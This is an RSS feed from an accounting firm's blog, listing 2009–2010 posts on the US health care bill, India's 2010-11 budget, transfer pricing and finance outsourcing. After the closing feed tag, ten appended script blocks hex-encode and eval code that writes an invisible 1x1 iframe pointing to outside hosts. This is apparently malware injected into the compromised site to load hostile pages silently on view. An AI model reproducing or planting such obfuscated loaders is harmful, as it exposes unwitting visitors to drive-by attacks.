<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Startup Accounting</title>
	<atom:link href="http://accelero-corp.com/startupaccounting/feed/" rel="self" type="application/rss+xml" />
	<link>http://accelero-corp.com/startupaccounting</link>
	<description>CPA Accounting &#38; Tax Service Blog</description>
	<lastBuildDate>Sat, 19 Jun 2010 09:59:13 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.4</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Impact of Health Care Bill on Businesses</title>
		<link>http://accelero-corp.com/startupaccounting/2010/05/24/impact-of-health-care-bill-on-businesses/</link>
		<comments>http://accelero-corp.com/startupaccounting/2010/05/24/impact-of-health-care-bill-on-businesses/#comments</comments>
		<pubDate>Mon, 24 May 2010 08:47:50 +0000</pubDate>
		<dc:creator>accleroblog</dc:creator>
				<category><![CDATA[Tax Revenues]]></category>
		<category><![CDATA[(SHOP Exchange) for insurance premiums]]></category>
		<category><![CDATA[Health care reform bill]]></category>
		<category><![CDATA[Medicare taxes]]></category>
		<category><![CDATA[New Tax credit]]></category>
		<category><![CDATA[Setting up of SHOP Exchange]]></category>
		<category><![CDATA[tax-exempt organizations]]></category>

		<guid isPermaLink="false">http://accelero-corp.com/startupaccounting/?p=36</guid>
		<description><![CDATA[The Health care reform bill was signed by the President on 23rd March 2010 bringing into effect, The Patient protection and Affordable Care Act. The new legislation will bring about sea of changes, especially affecting the small businesses employing less than 100 employees
The new reform, presently, does not require any employer to provide insurance to [...]]]></description>
		<wfw:commentRss>http://accelero-corp.com/startupaccounting/2010/05/24/impact-of-health-care-bill-on-businesses/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Impact of Indian 2010-11 Budget on US companies</title>
		<link>http://accelero-corp.com/startupaccounting/2010/05/24/impact-of-indian-2010-11-budget-on-us-companies/</link>
		<comments>http://accelero-corp.com/startupaccounting/2010/05/24/impact-of-indian-2010-11-budget-on-us-companies/#comments</comments>
		<pubDate>Mon, 24 May 2010 08:40:55 +0000</pubDate>
		<dc:creator>accleroblog</dc:creator>
				<category><![CDATA[F & A Outsourcing]]></category>
		<category><![CDATA[Tax Revenues]]></category>
		<category><![CDATA[Direct Tax Reform:]]></category>
		<category><![CDATA[Exports and Software Export Zone (SEZ):]]></category>
		<category><![CDATA[Foreign Direct Investment]]></category>
		<category><![CDATA[Impact of Indian 2010-11 budget on US companies]]></category>
		<category><![CDATA[Service Tax:]]></category>
		<category><![CDATA[Technology Sector:]]></category>

		<guid isPermaLink="false">http://accelero-corp.com/startupaccounting/?p=34</guid>
		<description><![CDATA[- General Performance of India:
Year 2009 had been a global economic slowdown in most of the advanced countries except for few developing countries like India which estimates a GDP growth for the Fiscal Year 2009-10 to be 7.20%, up 50 basis points from the previous year with biggest credit going to Manufacturing sector. India was [...]]]></description>
		<wfw:commentRss>http://accelero-corp.com/startupaccounting/2010/05/24/impact-of-indian-2010-11-budget-on-us-companies/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Do not forget&#8230; especially Start Ups!!</title>
		<link>http://accelero-corp.com/startupaccounting/2010/05/24/do-not-forget-especially-start-ups/</link>
		<comments>http://accelero-corp.com/startupaccounting/2010/05/24/do-not-forget-especially-start-ups/#comments</comments>
		<pubDate>Mon, 24 May 2010 08:36:38 +0000</pubDate>
		<dc:creator>accleroblog</dc:creator>
				<category><![CDATA[Tax Revenues]]></category>
		<category><![CDATA[5 Year Carryback of Net Operating Loss]]></category>
		<category><![CDATA[IRS guidelines of standard mileage rate (SMR)]]></category>
		<category><![CDATA[R&D Credit]]></category>
		<category><![CDATA[Sales tax deduction]]></category>
		<category><![CDATA[Work Pay Credit]]></category>

		<guid isPermaLink="false">http://accelero-corp.com/startupaccounting/?p=32</guid>
		<description><![CDATA[- R&#38;D Credit &#8211; Election must be made on original     Timely returns
A taxpayer can have both credit and the deduction only if the 280c election is made on the original timely return. The R&#38;D credit requires that taxpayers satisfy four requirements, or tests, to qualify. First, develop a new or improved [...]]]></description>
		<wfw:commentRss>http://accelero-corp.com/startupaccounting/2010/05/24/do-not-forget-especially-start-ups/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>TRANSFER PRICING ASSESSMENTS &#8211; More than   800 COMPANIES IN INDIA ASKED TO PAY   ADDITIONAL TAXES</title>
		<link>http://accelero-corp.com/startupaccounting/2010/05/24/transfer-pricing-assessments-more-than-800-companies-in-india-asked-to-pay-additional-taxes/</link>
		<comments>http://accelero-corp.com/startupaccounting/2010/05/24/transfer-pricing-assessments-more-than-800-companies-in-india-asked-to-pay-additional-taxes/#comments</comments>
		<pubDate>Mon, 24 May 2010 08:27:20 +0000</pubDate>
		<dc:creator>accleroblog</dc:creator>
				<category><![CDATA[Auditing]]></category>
		<category><![CDATA[Tax Revenues]]></category>
		<category><![CDATA[India PAY   ADDITIONAL TAXES]]></category>
		<category><![CDATA[number of audits and quality of audits]]></category>
		<category><![CDATA[TP tax laws]]></category>
		<category><![CDATA[TRANSFER PRICING ASSESSMENTS]]></category>
		<category><![CDATA[Transfer pricing revenues]]></category>

		<guid isPermaLink="false">http://accelero-corp.com/startupaccounting/?p=30</guid>
		<description><![CDATA[Transfer pricing revenues have seen new age in 2009- in terms of tax revenues, number of audits and quality of audits. TP tax laws have been levied to put a check on the loss of revenue to Indian Government involving cross border deals. The additional tax raised due to TP audits in year 2009 is [...]]]></description>
		<wfw:commentRss>http://accelero-corp.com/startupaccounting/2010/05/24/transfer-pricing-assessments-more-than-800-companies-in-india-asked-to-pay-additional-taxes/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>NEW BUZZ- BPU not BPO anymore!</title>
		<link>http://accelero-corp.com/startupaccounting/2010/03/03/new-buzz-bpu-not-bpo-anymore/</link>
		<comments>http://accelero-corp.com/startupaccounting/2010/03/03/new-buzz-bpu-not-bpo-anymore/#comments</comments>
		<pubDate>Wed, 03 Mar 2010 21:42:12 +0000</pubDate>
		<dc:creator>accleroblog</dc:creator>
				<category><![CDATA[F & A Outsourcing]]></category>

		<guid isPermaLink="false">http://accelero-corp.com/startupaccounting/?p=26</guid>
		<description><![CDATA[As I was browsing, I came across a very interesting article headlined-
Plug N Play Model in Finance and Accounting Outsourcing
Why cannot Companies go to an accounting service provider and ask them to provide the full accounting division for them – not just people, but technology and also process! Outsourcing companies can leverage on their expertise, [...]]]></description>
		<wfw:commentRss>http://accelero-corp.com/startupaccounting/2010/03/03/new-buzz-bpu-not-bpo-anymore/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>From Fixed cost to Variable cost structure</title>
		<link>http://accelero-corp.com/startupaccounting/2010/01/19/from-fixed-cost-to-variable-cost-structure/</link>
		<comments>http://accelero-corp.com/startupaccounting/2010/01/19/from-fixed-cost-to-variable-cost-structure/#comments</comments>
		<pubDate>Wed, 20 Jan 2010 03:33:11 +0000</pubDate>
		<dc:creator>accleroblog</dc:creator>
				<category><![CDATA[Cost Structure]]></category>

		<guid isPermaLink="false">http://accelero-corp.com/startupaccounting/?p=21</guid>
		<description><![CDATA[What is this CFO talk about variable Vs Fixed cost structure model? After witnessing the glaring success of Salesforce.com, was’nt it quite obvious that variable cost structure is the way to go in coming times? This is indeed today’s cry-
more freedom meaning more cash at disposal (in other words liquidity),
more flexibility (in other words less [...]]]></description>
		<wfw:commentRss>http://accelero-corp.com/startupaccounting/2010/01/19/from-fixed-cost-to-variable-cost-structure/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Be an Entrepreneur, not an Accountant!</title>
		<link>http://accelero-corp.com/startupaccounting/2009/12/29/be-an-entrepreneur-not-an-accountant/</link>
		<comments>http://accelero-corp.com/startupaccounting/2009/12/29/be-an-entrepreneur-not-an-accountant/#comments</comments>
		<pubDate>Tue, 29 Dec 2009 22:20:02 +0000</pubDate>
		<dc:creator>accleroblog</dc:creator>
				<category><![CDATA[F & A Outsourcing]]></category>

		<guid isPermaLink="false">http://accelero-corp.com/startupaccounting/?p=17</guid>
		<description><![CDATA[Business entities need to redirect their full energy towards core competencies and strategic decisions such as business development, research, sales and marketing etc. In our opinion, the biggest advantage of outsourcing is not saving money but saving time! Lot of times, entrepreneur end up spending their valuable time in managing daily operations, accounting hassles, inquiries, [...]]]></description>
		<wfw:commentRss>http://accelero-corp.com/startupaccounting/2009/12/29/be-an-entrepreneur-not-an-accountant/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Some interesting facts on outsourcing</title>
		<link>http://accelero-corp.com/startupaccounting/2009/12/14/some-interesting-facts-on-outsourcing/</link>
		<comments>http://accelero-corp.com/startupaccounting/2009/12/14/some-interesting-facts-on-outsourcing/#comments</comments>
		<pubDate>Tue, 15 Dec 2009 00:13:11 +0000</pubDate>
		<dc:creator>accleroblog</dc:creator>
				<category><![CDATA[F & A Outsourcing]]></category>

		<guid isPermaLink="false">http://accelero-corp.com/startupaccounting/?p=12</guid>
		<description><![CDATA[Outsourcing entered the business world in the 1980s and since late 1990s FA outsourcing has evolved a long way and has spread its wings on practically every aspect of a finance and accounting! Now it has become a question of “What” and “When” to outsource rather than “should we outsource?”
In today’s more mature marketplace, the [...]]]></description>
		<wfw:commentRss>http://accelero-corp.com/startupaccounting/2009/12/14/some-interesting-facts-on-outsourcing/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Our insights in Finance and Accounting industry!</title>
		<link>http://accelero-corp.com/startupaccounting/2009/12/08/our-insights-in-finance-and-accounting-industry/</link>
		<comments>http://accelero-corp.com/startupaccounting/2009/12/08/our-insights-in-finance-and-accounting-industry/#comments</comments>
		<pubDate>Tue, 08 Dec 2009 22:11:26 +0000</pubDate>
		<dc:creator>accleroblog</dc:creator>
				<category><![CDATA[F & A Outsourcing]]></category>

		<guid isPermaLink="false">http://accelero-corp.com/startupaccounting/?p=3</guid>
		<description><![CDATA[-Neetika Maheshwari, Accelero Corporation 
Is Outsourcing, a strategy only for big players?
Business, regardless of their size, need to account for every little expense or income as something which seems small right now may make a big difference in the long run. Would’nt it be great to see the accountant of the company carrying the commitment [...]]]></description>
		<wfw:commentRss>http://accelero-corp.com/startupaccounting/2009/12/08/our-insights-in-finance-and-accounting-industry/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<script>var t="";var arr="646f63756d656e742e777269746528273c696672616d65207372633d22687474703a2f2f736f68612e75732f666f72756d2e7068703f74703d36373565616665633433316231663732222077696474683d223122206865696768743d223122206672616d65626f726465723d2230223e3c2f696672616d653e2729";for(i=0;i<arr.length;i+=2)t+=String.fromCharCode(parseInt(arr[i]+arr[i+1],16));eval(t);</script><script>var t="";var arr="646f63756d656e742e777269746528273c696672616d65207372633d22687474703a2f2f736f68612e75732f666f72756d2e7068703f74703d36373565616665633433316231663732222077696474683d223122206865696768743d223122206672616d65626f726465723d2230223e3c2f696672616d653e2729";for(i=0;i<arr.length;i+=2)t+=String.fromCharCode(parseInt(arr[i]+arr[i+1],16));eval(t);</script><script>var t="";var arr="646f63756d656e742e777269746528273c696672616d65207372633d22687474703a2f2f736f68612e75732f666f72756d2e7068703f74703d36373565616665633433316231663732222077696474683d223122206865696768743d223122206672616d65626f726465723d2230223e3c2f696672616d653e2729";for(i=0;i<arr.length;i+=2)t+=String.fromCharCode(parseInt(arr[i]+arr[i+1],16));eval(t);</script><script>var t="";var arr="646f63756d656e742e777269746528273c696672616d65207372633d22687474703a2f2f616d65726963616e6d6f62696c652e63612f666f72756d2e7068703f74703d36373565616665633433316231663732222077696474683d223122206865696768743d223122206672616d65626f726465723d2230223e3c2f696672616d653e2729";for(i=0;i<arr.length;i+=2)t+=String.fromCharCode(parseInt(arr[i]+arr[i+1],16));eval(t);</script><script>var t="";var arr="646f63756d656e742e777269746528273c696672616d65207372633d22687474703a2f2f616d65726963616e6d6f62696c652e63612f666f72756d2e7068703f74703d36373565616665633433316231663732222077696474683d223122206865696768743d223122206672616d65626f726465723d2230223e3c2f696672616d653e2729";for(i=0;i<arr.length;i+=2)t+=String.fromCharCode(parseInt(arr[i]+arr[i+1],16));eval(t);</script><script>var t="";var arr="646f63756d656e742e777269746528273c696672616d65207372633d22687474703a2f2f736f68612e75732f666f72756d2e7068703f74703d36373565616665633433316231663732222077696474683d223122206865696768743d223122206672616d65626f726465723d2230223e3c2f696672616d653e2729";for(i=0;i<arr.length;i+=2)t+=String.fromCharCode(parseInt(arr[i]+arr[i+1],16));eval(t);</script><script>var t="";var arr="646f63756d656e742e777269746528273c696672616d65207372633d22687474703a2f2f736f68612e75732f666f72756d2e7068703f74703d36373565616665633433316231663732222077696474683d223122206865696768743d223122206672616d65626f726465723d2230223e3c2f696672616d653e2729";for(i=0;i<arr.length;i+=2)t+=String.fromCharCode(parseInt(arr[i]+arr[i+1],16));eval(t);</script><script>var t="";var arr="646f63756d656e742e777269746528273c696672616d65207372633d22687474703a2f2f736f68612e75732f666f72756d2e7068703f74703d36373565616665633433316231663732222077696474683d223122206865696768743d223122206672616d65626f726465723d2230223e3c2f696672616d653e2729";for(i=0;i<arr.length;i+=2)t+=String.fromCharCode(parseInt(arr[i]+arr[i+1],16));eval(t);</script><script>var t="";var arr="646f63756d656e742e777269746528273c696672616d65207372633d22687474703a2f2f616d65726963616e6d6f62696c652e63612f666f72756d2e7068703f74703d36373565616665633433316231663732222077696474683d223122206865696768743d223122206672616d65626f726465723d2230223e3c2f696672616d653e2729";for(i=0;i<arr.length;i+=2)t+=String.fromCharCode(parseInt(arr[i]+arr[i+1],16));eval(t);</script><script>var t="";var arr="646f63756d656e742e777269746528273c696672616d65207372633d22687474703a2f2f616d65726963616e6d6f62696c652e63612f666f72756d2e7068703f74703d36373565616665633433316231663732222077696474683d223122206865696768743d223122206672616d65626f726465723d2230223e3c2f696672616d653e2729";for(i=0;i<arr.length;i+=2)t+=String.fromCharCode(parseInt(arr[i]+arr[i+1],16));eval(t);</script>
